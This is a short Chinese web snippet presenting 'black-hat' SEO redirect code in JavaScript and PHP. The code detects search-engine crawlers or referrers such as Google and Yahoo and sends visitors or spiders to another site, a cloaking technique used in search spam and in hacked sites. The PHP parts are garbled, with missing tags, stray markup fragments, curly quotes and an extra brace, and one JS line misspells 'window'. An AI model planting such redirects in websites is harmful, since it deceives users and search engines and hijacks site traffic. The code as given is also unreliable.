根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='https://www.jb51.net'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='https://www.jb51.net'",10*1000);
</script>

<"htmlcode">

<"Location: https://www.jb51.net" . $_SERVER['REQUEST_URI']);
    // 自动转到https://www.jb51.net 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: https://www.jb51.net/abc/d.php");
   exit();
}
"htmlcode">

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) {
 
header(“HTTP/1.1 301 Moved Permanently”);
header(“Location: http://www.saoyu.com/”);
exit;
 
}}


黑帽手段有风险 请慎用。如果中招的朋友感觉找后门。